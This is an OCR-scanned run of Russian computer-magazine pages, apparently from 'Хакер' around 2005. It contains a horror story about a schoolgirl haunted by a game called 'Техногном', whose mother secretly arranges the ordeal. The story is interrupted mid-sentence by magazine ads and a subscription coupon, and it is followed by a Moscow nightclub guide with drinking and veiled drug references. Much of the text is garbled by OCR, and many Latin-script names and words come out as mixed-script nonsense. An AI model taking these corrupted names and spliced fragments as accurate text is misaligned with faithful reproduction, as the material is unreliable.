защищаться, будет лучше, если у нее ока- 
жется при себе оружие. Она подняла то- 
пор и пошла вперед, не представляя, в ка- 
кой стороне находится выход. 

Внезапно она услышала тихий зовущий го- 
лос: «Сюда! Сюда!». Оля пошла на звук и 
вскоре достигла большого зала, резко отличающегося от всего 
остального лабиринта. Мраморные стены с висящими на них кар- 
тинами, свечи в канделябрах, роскошное убранство и длинный 
ковер, ведущий прямо к хрустальной кровати. Оля подошла к ней 
и увидела красивую девушку. Она спала, но во сне произносила: 
«Сюда!». Оля не знала, что ей делать. Ей хотелось выбраться от- 
сюда, и она почему-то была уверена, что девушка препятствует 
этому. Все вокруг казалось неправильным, плохим. Внезапно она 
ощутила, как сами по себе поднимаются ее руки, занося над го- 
ловой топор. Олю сковал ужас, все тело стало ватным, и она уви- 
дела, как топор с силой опустился на спящую девушку. Перед 
глазами встала пелена тумана, закрывшая все вокруг, но уже че- 
рез секунду туман исчез, а взгляд остановился на изящном зер- 
кальце, стоящем у кровати. Оле безумно захотелось заглянуть в 
него. Она медленно подошла, взяла его в руки и посмотрела 
вглубь. В отражении на нее смотрело уродливое лицо гнома, а в 
ушах зазвучал визгливый голос: «Поиграй со мной! Поиграй!». 

Оля вскочила с постели. За окном была еще ночь, только лампоч- 
ки компьютера тускло горели во мраке. 

[...] 

— Маринина! 

Голос учительницы вернул Олю на землю. 

— О чем я сейчас говорила? 

Оля попыталась сосредоточиться. Она в 
школе на уроке алгебры. Они изучают 
квадратные уравнения. Что-то с этим свя- 
занное. 

— По поводу квадратных уравнений, Лари- 
са Григорьевна. 

Учительница смерила Олю ледяным взгля- 
дом: 

— Побудь, пожалуйста, с нами. Не витай в 
облаках. — И продолжила вести урок. 

Сон не выходил у Оли из головы. Он был та- 
ким реальным, что даже сейчас она пом- 
нила детали. 

— . . .Икс в квадрате. В таком случае у урав- 
нения будет два одинаково верных реше- 
ния. — Голос учительницы слился в моно- 
тонный шум. 

Задумавшись о своем, Оля рисовала и че- 
рез минуту осознала, что рисует гнома из 
игры. Кривой нос, злые глаза, железка на 
голове... похоже. Только у нее он получил- 
ся совсем не страшным, скорее комич- 
ным. Дорисовать она, впрочем, не успела, 
так как раздался звонок на перемену. 






Оля вышла из класса и отправилась в столовую перекусить. Урок информатики должен 
был начаться через 10 минут, так что стоило поторопиться. По пути ее догнала Катя. 

— Оль, ты в столовку? 

Оля молча кивнула. 

— Пошли, я тоже. 

Некоторое время Катя пыталась разговорить подругу, но та, казалось, полностью ушла в 
себя. 

— Олька, ты чего? 

— Ничего. 

— Ты сегодня какая-то странная. Что случилось? 

— Ничего не случилось. Ты вчера дала мне ссылку на видеофайл. Где ты его нашла? 

— Какой видеофайл? 

— С толстяком. Я вчера вечером получила его от тебя. 

— Я ничего не отправляла. 

— Как это не отправляла? 

— Вот так, не отправляла. 

Оля остановилась, мысли ее смешались. Если не Катя, то кто тогда? 

Беседа за обедом, состоявшим из булочки с соком, протекала вяло. Зазвенел звонок на 
урок, и Оля с Катей пошли в класс. 

Информатику, как и алгебру, им преподавали первый год. Раньше этот предмет начинал- 
ся на пару лет позже, но в связи с темпами развития компьютеров было решено начинать 
изучение техники с 12 лет. У большинства Олиных одноклассников дома уже был как ми- 
нимум один компьютер, поэтому они без проблем воспринимали школьную программу, 
рассчитанную на полных ламеров. Но Оля, безусловно, разбиралась в этом лучше ос- 
тальных, Информатика была единственным уроком, где девочка была впереди всех, но 
то, что там изучали, казалось ей смертельно скучным. Школьные компьютеры не были 
подключены к интернету, но были соединены кабелем между собой. Единственным РС с 
выходом в глобальную Сеть был тот, за которым работала преподавательница. Она так- 
же могла управлять любым компьютером в классе со своей машины. В те редкие момен- 
ты, когда им разрешалось посидеть за школьными «мамонтами», она доставала дискету 
и читала с нее сохранные архивы рассылок. 

В этот раз было именно практическое занятие. Учительница всегда нервничала и с боль- 
шой неохотой пускала детей за компьютеры, так как именно ей приходилось отвечать за 
технику. Поэтому обычно большую часть ученики проводили, слушая банальные вещи, и 
лишь в конце минут 10 могли пощелкать по клавиатуре. 

Незадолго до конца урока Оля, наконец, села за школьный гробик и вставило свою дискету. 
На ней был только один файл — ТѲ.М. Этого просто не могло быть, так как девочка прек- 
расно помнила, что переписала на нее несколько архивов, Оля достала дискету, буду- 
чи уверенной, что просто перепутала ее с чьей-то другой. Но наклейка с героем мульт- 
фильма и личные записи не оставляли сомнений — дискета ее. 

Оно снова вставила ее в компьютер и открыла файл. Там была только одна фраза: «Се- 
годня вечером». 

В этот момент компьютер перезогрузился. 

Это произошло так внезапно, что девочка даже вздрогнула. Вероятно, сбой — кому как 
не ей знать, насколько ненадежен виндовз. Пока система вновь загружалась, информа- 
тичка заметила ребут и подошла к Оле. 

— Опять балуешься с компьютером? — неодобрительно заметила она. — Почему, в то 
время как твои одноклассники делают то, что у нас по программе, ты занимаешься не- 



но не знаешь, 
какую модель выбрать? 

Прочитав наш журнал* 

ты обязательно сделаешь 
лравильный выбор и 

НАЙДЕШЬ СВОЮ КАМЕРУ! 




ЧИТАЙ В ИЮНЕ: 

ИДЕАЛЬНАЯ КАМЕРА: 

какая из них твоя? 



ВЫБИРАЕМ ОБЪЕКТИВ. 

ОБЗОРЫ КАМЕР 

Ги]іЛІт ГіпеРіх Г455, 

Копіса МіпоІІа ОіМАСЕ Е50, 
Мікоп СООІРІХ 5900, ОІутриз 
С-55 200М, ОІутриз Е-300, 
Копіса МіпоНа ОіМАСЕ 25. 

ТЕЛЕСКОП В КАРМАНЕ. 

Сравнительный обзор 
компактных камер со 
сверхбольшим увеличением. 

И КОНЕЧНО, НАШ 
СУПЕРКАТАЛОГ. 

Более 200 моделей цисрровой 
фототехники с крупными 
иллюстрациями, техническими 
характеристиками, оценками и 
вердиктами. 
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ПОНЯТНО чем? Вот тебе и результат. 

— Но ничего страшного не. , . 

Слова застыли в воздухе. 

— Это что еще такое? — возмутилась учительница, глядя в мони- 
тор. — Маринина, что ты вытворяешь? 

Оля вскочила со стула и под удивленные взгляды одноклассников 
выбежала из класса. Компьютер, за которым она сидела, без пе- 
рерыва генерировал на экране изображения уродливых лиц в 
металлическом шлеме, опутанном проводами. Скрипучий дина- 
мик выдавал что-то похожее на смех. 

[• * *] В парке было спокойно. Оля сидела на лавочке рядом с озе- 
ром и смотрела на воду. В ее мыслях проносились события трех 
последних дней. Происходило что-то страшное, непонятное, и 
объяснить это она не могла. Кто послал ей сообщение? Как ему 
удалось пробраться на школьный компьютер? Что им от нее нуж- 
но? Оля была достаточно взрослой, чтобы не верить, что за всем 
этим стоит вымышленный персонаж из компьютерной игры, 

— Оля? Что ты тут делаешь? 

Рядом с ней стоял Миша, держащий на поводке свою собаку. 
Они учились в параллельных классах и были знакомы по шахмат- 
ному кружку, в котором Оля пару лет назад была единственной 
девочкой. Правда, проходила туда недолго, 

— Гуляю. 

— У вас так рано закончились уроки? 

— Можно подумать, они у тебя закончились, — передразнила его 
девочка. 

— Я болею. 

— Ага, как же, 

Миша сел рядом с ней. Оля предпочла бы побыть наедине — ей 
нужно было о многом подумать. Но, к счастью, Миша, в отличие от 
подруги, не болтал без остановки, а больше был занят собакой. 
Подняв палку, он кинул ее в сторону, и Блэк тут же ринулся за ней, 
а потом добросовестно вручил хозяину. 

— Умная собака, — кивнула на Блэка Оля. 

— Умнее некоторых людей. А у тебя есть кто-нибудь? 

— Нет, 

— Родители не разрешают? 

— Сама не хочу. Возиться потом с ними. 

Оля перевела взгляд с собаки на мальчика: 

— Как бы ты поступил, если бы за тобой охотился сказочный 
персонаж? 

Вопрос застал Мишу врасплох. 

— Какой персонаж? 

— Неважно. Злой персонаж. Плохой. 

— Ну, надавал бы ему как следует. 



— А если его не существует? 

— А как он тогда может за мной охотиться? 
— Не знаю, — тихо ответила Оля, — Вчера 
он изменил мне обои на компьютере. Пе- 
реписал файл на мою дискету. А час на- 
зад что-то сделал с компьютером в кабине- 
те информатики. 

— Да о ком ты говоришь? 

Оля молчала. 

— Ладно, я пошел. Только что купил клас- 
сную компьютерную игру. Буду играть. 

Еще до того, как Миша продемонстрировал 
ей компакт-диск, Оля уже знала, что увидит. 
Такая же коробка лежала у нее на столе, С 
нее смотрели те же злые глаза. 

*] Оля совершенно не хотела играть в 
эту игру, еще больше не хотела снова уви- 
деть эту рожу, И вряд ли могла объяснить 
самой себе, почему она снова запустила 
ярлык «Техногном». Может быть, это един- 
ственный способ найти ответы на вопро- 
сы? 

Появилась заставка, в которой карлик 
приглашал в игру, зловещий смех, а затем 
меню. Оля продолжила играть с того мо- 
мента, где вышла в прошлый раз, и персо- 
наж, которым она управляла, показался 
еще отвратительнее, чем раньше. 

На этот раз она попала в совершенно 
мрачное место. Трудно было даже пове- 
рить, что здесь могли оказаться хорошие герои, с которыми 
предстояло разделаться. Звуки, раздававшиеся из колонок, под- 
черкивали угнетающую атмосферу. А единственными живыми су- 
ществами, которые попадались на пути, были крысы и пауки. 

Гном нетерпеливо подпрыгивал на месте и возмущенно махал то- 
пориком, который Оля нашла в одном из тайников лабиринта. Ему 
явно хотелось крови. 

Через какое-то время декорации снова сменились, и гном оказал- 
ся в просторной комнате с мраморными стенами, освещенной ми- 
риадами свечей. Он бежал по ковру, размахивая топориком. Пока 
не достиг роскошного ложа. 

В углу экрана всплыла подсказка, сообщающая, что рядом есть 
персонаж, на котором можно заработать очки. Оля подвела гно- 
ма к кровати и увидела спящую девочку в красивом голубом 
платье. Она уже была готова направить карлика разделаться с 
новой жертвой, но что-то ее остановило. Оля увеличила изобра- 
жение. И в лежащей на ложе девочке узнала себя. 

Это действительно была она. Волосы, черты лица, все остальное 

— сходство компьютерной модели с оригиналом было потрясаю- 
щим. Карлик застыл в ожидании приказа, готовый в любую секун- 
ду наброситься на нее. 

[* * *] Оля медленно открыла глаза. Высоко над ней простирался 
белый потолок, такими же белыми были и стены, лишенные всяких 
обоев. Рядом сидела мама и держала ее за руку. 

— Ма-ам? — слабым голосом произнесла Оля. 

— Да, доченька. Не разговаривай, отдыхай. 

— Где я? 

— Ты в больнице. Тут о тебе хорошо заботятся. 

— А что случилось? 

— Ты немножко переволновалась, но все будет хорошо. Поспи. 
Тебе нужен покой, 

Оля закрыла глаза, пытаясь вспомнить, что произошло. Но мозг ос- 
лаб и отказывался восстанавливать картины прошлого. В тумане 
проплывали призрачные ведения. Вот она в каком-то лабиринте. 
Потом этот звонок, где из трубки доносится странный голос. Она 
уже бежит по улице. Затем стоит на краю моста. Холод... Все это 
никак не связывалось в одно целое — странные фрагменты, об- 
рывки памяти. Уже засыпая, Оля услышала где-то далеко незна- 
комый голос: 

— Я дал ей успокоительное. После того как Оля проснется, она 
будет чувствовать себя намного лучше. 

— Спасибо вам, — ответил мамин голос. 

— Постарайтесь оберегать ее от волнений. Девочка пережила 
сильный нервный срыв. Сейчас ей необходимо ваше внимание. 
Уже на границе со сном Оле предстало последнее видение. Ми- 



ниатюрный человечек в забавной металлической шапочке махал ей на прощанье рукой. 
Она не могла рассмотреть его лицо, но когда он исчез, испарившись в воздухе, испыта- 
ла облегчение. Интересно, кто бы это мог быть? Додумать она не успела, так как уже 
спала, тихо и мирно. 

[четверг — пятница] Учительница звонила уже второй раз за последний месяц. Звонки по 
поводу неуспеваемости дочери были и раньше, но теперь становилось понятно, что од- 
ними обещаниями не отделаешься. 

— Поймите, Анна Сергеевна, — говорила в трубку классная руководительница, — Оля 
очень способная девочка. Но она совершенно не готовится, а во время уроков витает 
где-то в облаках. А то и вовсе не появляется. Я вас очень прошу, повлияйте на нее. 

— Спасибо, что позвонили. Я обязательно с ней побеседую. Сегодня же. 

Аня положил трубку, вошла в детскую и задумчиво посмотрела на свою дочь, Ольга, как 
всегда, сидела за компьютером и чатилась с неизвестными людьми, которых называла 
своими друзьями. Девочке было всего 12 лет, но в компьютере она разбиралась лучше, 
чем ее мать, сидевшая за ним в офисе целыми днями. И, казалось, больше ничего в этом 
мире ее не интересовало. 

— Звонила учительница, — объявила Аня. Ольга на секунду напряглась, но тут же про- 
должила клацать по клавиатуре. Как будто это ее не касается. Мать подошла и выклю- 
чила монитор. 

— Ма-а-а-ам! — возмущенно протянула дочка. 

— Нам нужно с тобой серьезно поговорить. 

[* * *] Аня не могла сказать точно, когда ее дочь пристрастилась к компьютеру. Но нача- 
лось все с их с Андреем развода. Ольга сильно переживала это событие и замкнулась 
в себе, и, чтобы как-то развеселить дочь, Аня купила ей компьютер. Первые несколько 
дней дочка пальцем к нему не притронулась — все злилась на мать. Но потом любопыт- 
ство взяло верх, и она начала потихоньку его осваивать, даже попросила маму купить ей 
самоучитель. Сначала ей удавалось совмещать учебу со своим новым увлечением, но 
чем больше Оля втягивалась, тем больше запускала школу. И затем начались эти звонки. 
Аня пыталась поговорить с дочкой, объяснить, насколько важно хорошо учиться. Надея- 
лась, что Оля достаточно взрослая, чтобы понять. Но ничего не менялось. Тогда она пош- 
ла на крайние меры. Стала прятать клавиатуру, мышку и другие компьютерные запчас- 
ти. «Если Оля отдохнет от компьютера, то, может, возьмется за ум», — думала тогда Аня, 
Но реакция дочери оказалась совсем не такой, какую она ожидала. С Ольгой случи- 
лась истерика, она отказалась разговаривать с матерью, перестала есть. Ане даже по- 
казалось, что дочь готова на самоубийство. Ей не оставалось ничего другого, как вер- 
нуть изъятые вещи. Девочка тут же успокоилась и углубилась в свой мир. 

Но проблема со школой так и оставалась нерешенной. Аня не могла убедить дочь по-хо- 
рошему, не могла и насильно оторвать ее от компьютера. Даже последний разговор, в 
котором она старалась быть максимально строгой и убедительной, не принес успеха. 
Дочь слушала, соглашалась, пообещала исправиться, но снова провела весь день за 
компьютером, даже не притронувшись к тетрадям. 

У Ани опускались руки. Казалось, выхода не было, и она даже подумывала о том, чтобы 
сводить дочь к психотерапевту. Но решение пришло ей в голову совершенно неожидан- 
но. Идея была простой и по-своему гениальной. Оставалось только все подготовить. 




ЧИТАЙТЕ В МАЕ: 



НА СО 



700 МБ 

ПОЛЕЗНЫХ 

ПРОГРАММ 



Тестирование новейших моделей 
КПК, ноутбуков и смартфонов 



Все ноутбуки на 50М0МА 



Вскрытие покажет 

Изучаем устройство современного КПК 



ІМ-клиеиты для ѴѴіпсІоѵѵз МоЬіІе ^ог 
ЗтагІрИопе 



[* * *] «Техногном» был детской компьютерной игрушкой, которую выпускала малоизвест- 
ная российская компания. Главный герой, по мнению Ани, выглядел жутковато. Эдакий 
размалеванный улыбающийся карлик в шлеме, опутанном проводами. В игре нужно бы- 
ло управлять этим существом, чтобы выбраться из запутанного лабиринта. Про игру Аня 
узнала от сотрудницы на работе, которая купила компакт-диск с игрой для своего млад- 
шего сына. 

— Мерзость какая, — заметила Аня, едва глянув на коробку с нарисованной на ней 
улыбчивой рожей, 

— Вот-вот. А молодежь теперь от такого без ума. Я Артемке пыталась втолковать, давай, 
мол, энциклопедию красочную куплю, а он: «Нет, хочу Техногнома, и все тут». 

— И кто такое только делает. 

— Меня больше волнует, что наши дети растут на таких игрушках. Вспомни, во что мы играли, 
Аня помнила, как дубасила в детстве мальчишек и играла с ними в пекаря, войнушку и 
другие подобные игры, но предпочла эту тему не затрагивать. 

Сейчас она сидела на своем рабочем месте и смотрела на упаковку только что куплен- 
ного СО. Страшный гном с ухмылкой уставился на нее, и от этого взгляда у нее мурашки 
пробежали по коже. Подумать только, эту игру она отдаст своей дочери. Аня успокаива- 
ла себя, что это для ее же блага. 

Оглянувшись по сторонам и убедившись, что рядом никого нет, Аня взяла трубку и набра- 
ла номер, который не числится ни в одном справочнике. 

— Это я, — коротко представилась она, когда на том конце взяли трубку. — Игру завтра 
отдам, остальное за вами. Все будет, как договаривались? 

— Не волнуйтесь. Сделаю как надо. 

— Только не переборщите. Не забывайте, это моя дочь. 

— Мы же вроде все обсудили? Не переживайте так, Анна. Я прекрасно понимаю, что от 
меня требуется. 

— Хорошо. Остальные деньги получите, когда все закончится. 

Связь прервалась. Анна еще раз посмотрела на коробку и подумала, не совершает ли 
она большую ошибку. 

-еоП 0 



Поиаехапи! 

Репортаж с завода Затзипд 

Шаг за шагом 

Подключаемся к ЕОСЕ 
Мобильный библиотекарь 
Мультфильмы на КПК 
Карманная фотостудия 
Трудности перевода 
Первая смена 
Словарь на ужин 
Ученый попугай 
Ученье - дочь повторенья 




Мобильные 

компьютеры 



лпс 

(дате)іаті 





115р ЗА НОМЕР 

(экономия 30руб.*) 



ІЗОр ЗА НОМЕР 

(экономия 30руб.' 



690р ЗА 6 МЕСЯЦЕВ 

(экономия 180 руб.*) 



780р ЗА 6 МЕСЯЦЕВ 

(экономия 180 руб.*) 



1242р ЗА 12 МЕСЯЦЕВ 

(экономия 460руб.*) 



1404р ЗА 12 МЕСЯЦЕВ 

(экономия 516 руб.*) 



207р ЗА НОМЕР 

(экономия 85руб.*) 



1 242р ЗА 6 МЕСЯЦЕВ 

(экономия 510 руб.*) 



2236р ЗА 12 МЕСЯЦЕВ 

(экономия 1250 руб.*) 



«Хакер» + «Хакер 



Спец 



Как оформить заказ? 

Ш Заполнить купон и квитанцию 
[Ц Перечислить стоимость подписки через Сбербанк 
[Ц Обязательно прислать в редакцию копию оплаченной квитанции 
с четко заполненным купоном любым из перечисленных способов: 

по электронной почте: 8иЬвсгіЬе@дІс.ги; 

вд по факсу: 924-96-94; 

по адресу: 107031, Москва, Дмитровский переулок, д. 4, 

строение 2, ООО «Гейм Лэнд», отдел подписки. 



ВНИМАНИЕ! 

вд подписка оформляется в день обработки купона и квитанции. 

купоны, отправленные по факсу или электронной почте, обрабатываются в течение 5 рабочих дней, 
вд купоны, отправленные почтой на адрес редакции обрабатываются в течение 20 дней. 

РЕКОМЕНДУЕМ ИСПОЛЬЗОВАТЬ ЭЛЕКТРОННУЮ ПОЧТУ или ФАКС. 

Подписка производится с номера, выходящего через один календарный месяц после оплаты. 
Например, если произвести оплату в сентябре, то подписку можено оформить с ноября. 

ПО ВСЕМ ВОПРОСАМ ПО ПОДПИСКЕ ЗВОНИ БЕСПЛАТНО ПО ТЕЛЕФОНУ 8 - 800 - 200 - 3-999 
(В ТОМ ЧИСЛЕ С МОБИЛЬНЫХ ТЕЛЕФОНОВ СЕТЕЙ МТС, БИЛАЙН, МЕГАФОН). 

ВОПРОСЫ ПО ПОДПИСКЕ МОЖНО ЗАДАВАТЬ ПО Е-МАІЬ: ІМРОѲѲІС.ВЦ 



Подписка 

для юридических лиц 

Москва: ООО "Интер-Почта", 
тел.: 500-00-60, е-таіі: іпІег-розІ@зоѵіпІеІ.ги 
Регионы: ООО "Корпоративная почта", 
тел.: 953-92-02, е-таіІ: крр@зоѵіпІеІ.ги 
Для получения счета на оплату подпис- 
ки нужно прислать заявку с названием 
журнала, периодом подписки, банковс- 
кими реквизитами, юридическим и поч- 
товым адресом, телефоном и фамили- 
ей ответственного лица за подписку. 
ѵѵѵѵѵѵ.іпіегросітіа.ги 





«V 

подписной КУПОН 

Прошу оформить подписку: 

I I на журнал Хакер + 2 СО 
I I на журнал Хакер + ОѴО 
I I на комплект Хакер +2СО и Хакер Спец + СО 
Ц на комплект Хакер+ ОѴО и Хакер Спец + СО 



на 1 1 месяцев 




начиная с 


2005 г. 





I — I Доставлять журнал по почте 
* — * на домашний адрес 
I— I Доставлять журнал курьером на 
* адрес офиса (по г. Москве) 

Подробнее о курьерской доставке читайте ниже* 
(отметьте квадрат выбранного варианта подписки) 

Ф.И.О. 



дата рожд. I М I. I М I. I М I г. 

день месяц год 

АДРЕС ДОСТАВКИ: 
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город 

улица 

дом корпус 

квартира/офис 
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* Курьерская доставка осуществляется только по Москве 
на адрес офиса. Для оформления доставки курьером 
укажите адрес и название фирмы в подписном купоне. 
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[ЮНИТЫ] КРЕАТИФФ КОДИНГ УМІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20МЕ РЕППУМ НЬЮСЫ 



ВЫДВИГАЙСЯ В КЛУБЫ! 

ЗісІеХ (5ІсІех@геаІ.хаІ<ер.ги) 



ЕЩЕ ВЧЕРА МНЕ БЫЛО СОВСЕМ КАЙФ- 
НО ЗАВИСАТЬ ПО КОМПЬЮТЕРНЫМ КЛУ- 
БАМ, СОБИРАТЬ СОТНИ ФРАГОВ ЗА 
НОЧЬ И ОСУШАТЬ ПО ЯЩИЧКУ БАЛТИ- 
КИ-ТРЕШКИ. РЯДОМ ВСЕ СВОИ РЕБЯТА, 
ВСЕ ХОТЯТ ОДНОГО — ПРАВИЛЬНО ПРО- 
ВЕСТИ ВРЕМЯ. СЕГОДНЯ ТАКЖЕ ХОЧЕТ- 
СЯ ТОЙ ОБЩНОСТИ, ЧУВСТВОВАТЬ СЕ- 
БЯ ЧАСТЬЮ БОЛЬШОГО ДВИЖЕНИЯ. ДА 
И ЕСТЬ ГДЕ ДВИГАТЬСЯ, ДАРОМ, ЧТО 
ЛИ, В МОСКВЕ МОЖНО НАЙТИ БОЛЕЕ 
600 КЛУБНЫХ ТОЧЕК! СТОИТ ЛИ ТРАН- 
ЖИРИТЬ ВРЕМЯ И ЛАВЭ НА ОСВОЕНИЕ 
ВСЕГО И ВСЯ СОБСТВЕННЫМ ГОР- 
БОМ? ВОВСЕ НЕТ, X УЖЕ ПОБЫВАЛ ВО 
ВСЕХ ДОСТОЙНЫХ МЕСТАХ! 




«Мио» 

АдхаЮшужжаяпл., 1, метро Октй^іьсюя 

«Мио» оказался самым первым в списке клу- 
бов, куда нас заслал СиТГег для написания 
статьи. Вписавшись туда, я первым делом по- 
шел в ресторан клуба, который мутирует в 
чилл-аут по время проведения вечерин. В тот 
момент желудок не жаждал подпитки, а вот 
имевшийся в «Мио» кальян оказался очень 
кстати. После раскурки трубки мира путь ле- 
жал на танцпол, где оказалось не так уж много 
свободного места. Сие вовсе не расстроило и 
даже способствовало настроению близости с 
местной «позитивной молодежью», как мест- 
ную публику назвали бы в 90-е. Сближение с 
прекрасным полом особенно порадовало, 
благо дамы были представлены достойными 
образцами детородной промышленности 
Понятно, что наполнить клуб исключительно 
симпатичными людьми далеко не просто. От- 
бором заведует зоркий фейс-контроль. Не 
стоит кривить лица, вспоминая обломанные ве- 
чера, — к отправке сюда лучше приготовиться 
загодя: полазать по гардеробу в поисках са- 
мых лучших шмоток; пощелкать в записнушке и 
выцепить с собой самую лучшую девочку 
Ежели всего необходимого пока нет, можно 
резко начать разрабатывать тему и быть в то- 
нусе к лету, когда «Мио» снова откроет лет- 
нюю террасу. Тем же, кто в тонусе уже сей- 
час, обязательно придется по вкусу исключи- 
тельно хакерский дизайн клуба — все заде- 
лано под ЫдЬ-ТесІт. Если раскрыть не только 
глаза, но и уши, можно услышать качествен- 
ное еІесТго, Ьоизе и Р'п'В по вторникам. 



«Б2» 

Адрес: Большая Садовая, д.8, метро Маяковская 

Самый большой клуб Москвы. Поклонники 
«Б2» требуют называть их объект страстей 
исключительно «мегаклубом» и напрочь от- 
казаться от банального «развлекательного 
центра». По своим масштабом место 
является противоположностью описанному 
выше «Мио», однако атмосфера сплоченнос- 
ти присутствует и здесь. Тому споообствует 
факт, что в клубе крутят оамую разную музыку 
и люди собираются по интересам: здесь и 
рок, и джаз, и кантри, и, конечно, танцы. Боль- 
шой размер и разнообразие жанров привле- 
кает разнообразных звезд большого разме- 
ра :). Чаотыми гостями здесь становятся «Неп- 
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рикасаемые» и «Аквариум». Особенным спро- 
сом пользуются порти от Возіс, который кру- 
тит дико актуальную ныне музыку 80-х. Клуб четко 
продуман, но коммуникации внутри могли бы 
быть удобнее. 

РаЬгіриѳ 

Адрес: Садовническая, 33, метро Новок^нецкая 

в отличие от «Девушек фабричных», данный клуб 
представляет собой истинную фабрику: все 
изваяно из бетона, металла и обильно удобрено 
стеклом. Ниша клуба — танцевальная, сюда регу- 
лярно привозят именитых заграничных диджеев. 
За местным 03-пультом, который двигается вверх и 
вниз, успели побывать Реііх ба Ноизесаф ЗеЬ 
Роп+аіпе и Зибде Зиіез. Творцы работают настоль- 
ко качественно, что от счастья приходится часто 
бетать в тубзалет. Последний отлично отдизайне- 
рен под характерный совковый стиль, нечто по- 
добное уже было прежде реализовано в кофейне 
«Москва — Берлин». Фейс-контроль похож на тот, 
что имеется в «Пропаганде». 

«Пропаганда» 

Адрес: Б. Златоустовский пер., 7, метро КтайТ ород 

Это танцевально-электронное место было назва- 
но «Клубом тысячелетия» в одном из новогодних 
номеров X. То было пять лет назад. Времени прош- 
ло немало, но многое осталось прежним. РІапри- 
мер, вечерины «Пропки» по четвергам до сих пор 
остаются в топе. За прошедшее время так и не 
появилось чиллаута, общительным приходится 
тренировать голосовые связки, перекрикивая гул 
танцпола. Днем на танцполе расставлены столы, 
за которыми восседают посетители одноименно- 
го кафе. Дневные клиенты встают и уходят, прихо- 
дят деятели ночного движения. Среди них преоб- 
ладают молчелы, тогда как чуть уступающие по 
численности дамы часто оказываются представ- 
лены не самыми прекрасными особами. И маль- 
чики и девочки испытывают сложности с проник- 
новением в туалет, перед входом в который обра- 
зуются настоящие пробки. 

«Точка» 

Адрес: Ленинский просп., 6, метро Октябрьская 

Если ты собираешься попасть в «Точку», то запи- 



сывай новый адрес, куда перебрался изначаль- 
ный проект с метро 1905 тода. Клуб стал в два ра- 
за больше прежнего, но новая дислокация опре- 
деленно проигрывает... Попасть внутрь будет не 
так-то просто, прохода на яркие концерты бой- 
цов вроде Дельфина и 5пІ22ы порой приходится 
ждать пару часов. Совершив успешный прорыв и 
желая опустить свое бренное тело за стол, будь 
готов заплатить 300 рэ только за сам столик в рок- 
клубе. Оно, конечно, неприятно, но уж очень 
сильна реклама данного места на «Нашем ра- 
дио». Давай примем приглашение от столь авто- 
ритетного органа народной культуры. Только істо 
же будет нас вызволять наружу, котда концерт 
закончится? Проблема непролазного выхода ос- 
тается актуальной; потратив два часа на проник- 
новение, можешь смело выделять столько же 
времени на выход. В целом место напоминает 
«Свалку», обозрение которой X давал прежде. 

«Гауди» 

Ацрѳс; Складочная, 1, стр. 19, метро Савеловская 

Г-жа Зой.ги все уши прожужжала о «Гауди». Она 
прожженная клубная деваха, непросто купить ее 
расположение. . . Да и ее страсть сразу натолкну- 
ла на мысль: там скорее всего нечеловечески 
жесткий Тасе сопТгоІ! Вовсе не так, вход практичес- 
ки свободный, могут иногда спросить паспорт. За- 
чем оный? А как иначе проникнуть в индустриаль- 
ную зону, где базируется клуб? ! Зону основательно 
переоборудовали, покрасили две башни (трубы?) 
в розовый цвет. Дальше организаторы не запари- 
вались, лишь приволокли музаппаратуру и подог- 
рели световую тему. Внутри остался полный ипбег- 
дгоипсі — голые бетонные стены, которые осыпают- 
ся цементом, вздымая облака пыли. Здесь играют 
ОЗз с передовой танц-музыкального фронта. Неког- 
да в «Гауди» развернулся фестиваль ѲаТесгазГіег, 
где за пульт вписался сам Тіезіо. Клуб не отаплива- 
ется, так что в холодное время года будет непросто 
оставаться тепленькими :). Надо постоянно двигать- 
ся, тем более что сесть здесь негде — роскошь ди- 
ванов местным танцорам ни к чему. 










которая лишь жаждет своего куска. Именно 
белые крысы стали частью декора, они носят- 
оя в ультрафиолете. Разовое посещение вряд 
ли может дать полную картину, однако завоег- 
датаи клуба жалуются на нерасторопность 
официантов из «Зоны». 

Міх 

Адрес: Новинский б-р, 1 1, метро Смол»іская, Ба^^кадная 

Еоть люди, которые вотают в шесть утра каж- 
дый день. Есть и те, кто пробуждается не рань- 
ше шести вечера. Последние не испытывают 
недостатка в обычных клубах, закрывающихся 
к шести утра. Им нужен аіі'еграгі'у-клуб Міх. В 
один из самых маленьких клубов Москвы сле- 
тается пІдЬЕреорІе после трех-четырех часов 
утра, чтобы застать лишь самое начало празд- 
ника. Именно в это время попасть в клуб оказы- 
вается сложнее, чаще и чаще спрашивают 
клубную карту... По карточке пропускают в ат- 
мосферу, где большая часть людей знает друг 
друга. Хотя и знают с совсем разных сторон: 
недоброжелатели приписывают клубу репута- 
цию прогейского, дарящего радушный приют 
господам альтернативной ориентации. Нес- 
мотря на это, множество поклонников электро- 
ники считают ночь несостоявшейся без увен- 
чания ее походом в Міх. 

«Окно» 

Адрес: Остоженка, 32, метро Парк культуры 

Большие панорамные фотографии Европы — 
вид из виртуальных окон клуба. і<луб пестрит 
флюоресцентом, интерьер был оформлен не- 
когда известной командой рзуітапсе-промоу- 
теров. Здесь же периодически случаются ве- 
черины того х<е танцевального направления. 
Основным ключом событий остается Ьоизе, хо- 
тя здешние Р'п'В события пользуются особым 
спросом. Порулить мероприятиями запускают 
людей старой закалки — Джангла, Белла и 
Сапунова. Их мох<но было слышать еще во 
время расцвета «106.8». Клуб не успел обрес- 
ти репутацию наркоманского, хотя дизайн туа- 
летов наводит на самые смелые мысли. Там 
повсюду зеркальные подоконники, которые 
обладают дурной славой, ассоциируясь с 
вдыханием будоражащих веществ. 



«НЭО» 



Адрес: Ве^авскоѳ ш., 27, метро Нагатинская, Тульская 

Как-то СиТТег назначил мне здесь встречу, но, 
как честная чешка, прокрутил динамо :). Сие 
было первым впечатлением о Мео; вторым ста- 
ли откровения другого знакомого: «Только здесь 
можно реально КОЛБАСНУТЬ». Благо места 
развернуться достаточно — танцпол мо>кет 
вместить многих. Имеется недорогой бар, путь к 
нему лежит по стеклянной лестнице. Когда же 
хочется не только электронной колбасы и укол- 
башенной молодежи, будет разумно навестить 
и другие, быть может, не столько колбасные 
места . . . Любители данного гастрономического 
удовольствия получат желанное без проблем, 
ведь ослохгнения с Еасе сопітоі практически не 
встречаются. 

«Зона» 

Адрес: Ленинская слобода, 19, стр. 4, метро Автозаводская 

Помнишь «Парк Авеню Диско»? Так вот, здесь 
имеется продолхгение, хотя и представленное 
в новой тематике — тюремной. Дизайнера, на- 
рисовавшего проект клуба, вдохновила на 
создание колония строгого режима. Здесь ко- 
лючая проволока, на входе люди в милицейс- 
кой форме и с собаками. Они очень ретивы в 
обысках посетителей, очевидно, заменяя 
